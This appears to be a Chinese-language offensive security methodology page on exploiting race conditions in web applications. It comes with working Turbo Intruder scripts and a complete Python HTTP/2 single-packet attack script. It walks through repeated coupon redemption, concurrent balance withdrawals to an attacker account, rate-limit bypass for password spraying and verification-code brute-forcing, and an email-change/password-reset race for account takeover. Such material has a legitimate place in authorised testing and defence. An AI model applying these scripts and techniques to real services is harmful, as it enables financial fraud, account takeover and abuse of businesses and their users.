wgpsec/race-condition-exploit

竞态条件漏洞利用方法论

核心原理：在服务器"检查"和"使用"之间的时间窗口内，发送并发请求使同一操作被执行多次

⛔ 深入参考

• Turbo Intruder 脚本与高级技巧 → references/turbo-intruder-scripts.md
• 多步骤竞态与复合利用场景 → references/multi-step-race.md
• curl/Python/Barrier 并发脚本、文件上传竞争脚本 → references/race-scripts.md

---

Phase 1: 识别竞态条件攻击面

高价值目标操作：
├─ 💰 余额/积分/虚拟货币操作（转账、提现、消费）
├─ 🎟️ 优惠券/折扣码兑换（限用 1 次）
├─ 📦 限量库存购买（秒杀/抢购）
├─ 🔐 频率限制绕过（登录尝试、短信验证码）
├─ 📧 多步工作流（邮箱修改 → 密码重置）
├─ 👍 投票/点赞（每人限 1 次）
├─ 🎮 游戏资源（双重领取奖励）
├─ 🔑 一次性 Token 验证（同一 token 多次使用）
├─ 📝 注册/创建（检查唯一性 → 插入，创建重复账户）
└─ 📁 文件上传 → 处理管道（TOCTOU，在删除前访问 webshell）

| 场景 | 竞态目标 | 利用效果 | |------|----------|----------| | 余额消费/转账 | 检查余额 → 扣款 | 余额 100 同时发起两笔 100 的消费 | | 优惠券/兑换码 | 检查是否已使用 → 标记已使用 | 同一兑换码多次使用 | | 投票/点赞 | 检查是否已投 → 记录投票 | 刷票 | | 文件上传 | 上传 → 检查 → 删除恶意文件 | 在删除前访问上传的 webshell | | 一次性 token | 验证 token → 使 token 失效 | 同一 token 多次使用 | | 注册/创建 | 检查唯一性 → 插入 | 创建重复账户 | | 限购商品 | 检查库存 → 下单扣库存 | 超额购买 |

快速判断存在竞态的标志：

• 响应中有 "已使用" / "余额不足" / "已达上限" 等限制
• 正常重复提交返回错误 → 存在服务端状态检查 → 可能有时间窗口

Phase 2: 攻击技术选择

并发方法对比：
├─ Single-Packet Attack (HTTP/2) → 最精确，纳秒级同步 ⭐首选
├─ Last-Byte Sync (HTTP/1.1) → HTTP/1.1 场景的最佳方案
├─ Turbo Intruder gate → Burp Suite 中最方便
├─ 多线程 Python → 灵活但时间精度较低
└─ 普通 Repeater 并发 → 最简单，成功率最低

选择依据：
目标支持 HTTP/2？
├─ 是 → Single-Packet Attack（同一 TCP 连接发多请求）
└─ 否 → Last-Byte Sync（多连接，hold 最后一字节，同时释放）

Phase 3: Single-Packet Attack（HTTP/2 首选）

原理： HTTP/2 多路复用允许在单个 TCP 包中发送多个完整请求，服务器几乎同时处理

Turbo Intruder 脚本

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)  # HTTP/2

    # 同一操作重复 20 次，gate 同步释放
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # 所有请求同时发出
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Python 实现

import h2.connection
import h2.config
import h2.events
import socket, ssl

def single_packet_attack(host, port, requests, path='/redeem'):
    """HTTP/2 单包竞态攻击"""
    ctx = ssl.create_default_context()
    ctx.set_alpn_protocols(['h2'])

    sock = socket.create_connection((host, port))
    sock = ctx.wrap_socket(sock, server_hostname=host)

    config = h2.config.H2Configuration(client_side=True)
    conn = h2.connection.H2Connection(config=config)
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())

    # 发送所有请求的 HEADERS（不发 DATA）
    stream_ids = []
    for i in range(requests):
        sid = conn.get_next_available_stream_id()
        stream_ids.append(sid)
        conn.send_headers(sid, [
            (':method', 'POST'),
            (':path', path),
            (':authority', host),
            ('content-type', 'application/x-www-form-urlencoded'),
        ])

    # 所有 DATA 帧打包在一起发送（单包！）
    for sid in stream_ids:
        conn.send_data(sid, b'coupon=DISCOUNT50', end_stream=True)

    # 一次性发出所有数据
    sock.sendall(conn.data_to_send())

    # 收集响应
    responses = {}
    while len(responses) < requests:
        data = sock.recv(65535)
        events = conn.receive_data(data)
        for event in events:
            if isinstance(event, h2.events.ResponseReceived):
                responses[event.stream_id] = dict(event.headers)
        sock.sendall(conn.data_to_send())

    return responses

Phase 4: Last-Byte Sync（HTTP/1.1 场景）

原理：
1. 建立 N 个 TCP 连接
2. 每个连接发送请求，但 hold 住最后一字节不发
3. 同时释放所有连接的最后一字节
→ 服务器同时收到 N 个完整请求

Turbo Intruder 实现：

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=20,  # 20个并行连接
                          requestsPerConnection=1,
                          engine=Engine.THREADED)

    for i in range(20):
        engine.queue(target.req, gate='race1')

    engine.openGate('race1')

Phase 5: 常见利用场景

场景 A: 优惠券重复使用

正常流程：
1. POST /apply-coupon {code: "SAVE50"}
2. 服务器检查: 优惠券已使用? → 否
3. 服务器操作: 标记已使用 + 扣减金额

竞态攻击：
同时发送 20 个相同请求 → 所有请求在步骤 2 时都读到"未使用"
→ 优惠券被应用 20 次

验证: 检查最终账户余额/订单折扣是否超出预期

场景 B: 余额并发提现

正常: 余额 100 → 提现 100 → 余额 0
竞态: 余额 100 → 同时 5 次提现 100 → 可能成功 2-3 次 → 提取 200-300

关键请求:
POST /withdraw
{"amount": 100, "account": "attacker_account"}

场景 C: 频率限制绕过

限制: 每分钟 5 次登录尝试
竞态: 单包内发 100 次尝试 → 限制器来不及计数
→ 100 次尝试中只有最后几次被限制

用于: 密码喷洒 / 验证码爆破

场景 D: 多步骤竞态（高级）

攻击者邮箱修改 + 密码重置竞态：
1. 请求 A: POST /change-email {email: "[email protected]"}
2. 请求 B: POST /reset-password（同时发送）
→ 密码重置邮件可能发到攻击者新邮箱
   （因为邮箱修改和密码重置同时处理）

Phase 6: 验证成功

竞态成功的标志：
├─ 多个请求返回 200 OK（而非只有第一个成功）
├─ 余额/积分出现异常变化
├─ 同一操作被记录多次（日志/订单/交易）
├─ 频率限制未生效
└─ 系统状态不一致

工具速查

| 工具 | 用途 | |------|------| | Turbo Intruder | Burp 插件，gate 同步 | | Burp Repeater (Send group parallel) | 简单并发（Burp 2023+） | | racepwn | 专用竞态测试工具 | | Python asyncio + h2 | 自定义 HTTP/2 攻击 | | curl --parallel | 简单并发测试 |